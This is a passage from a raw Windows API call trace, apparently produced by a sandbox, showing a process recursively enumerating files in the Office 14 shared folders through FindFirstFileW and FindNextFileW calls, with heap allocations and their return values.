ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0081.028] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0081.028] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0081.028] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0081.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0081.029] GetProcessHeap () returned 0x470000 [0081.029] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0081.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0081.082] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.082] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0081.082] GetProcessHeap () returned 0x470000 [0081.082] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.084] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.084] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0081.084] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0081.084] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.084] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.084] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.085] GetProcessHeap () returned 0x470000 [0081.085] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.085] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0081.085] GetProcessHeap () returned 0x470000 [0081.085] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.086] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.086] GetProcessHeap () returned 0x470000 [0081.086] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0081.086] GetProcessHeap () returned 0x470000 [0081.086] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.086] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.087] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.087] GetProcessHeap () returned 0x470000 [0081.087] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0081.087] GetProcessHeap () returned 0x470000 [0081.087] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.087] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0081.087] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.088] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.088] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.088] GetProcessHeap () returned 0x470000 [0081.088] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.088] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0081.088] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0081.088] GetProcessHeap () returned 0x470000 [0081.088] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.089] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, 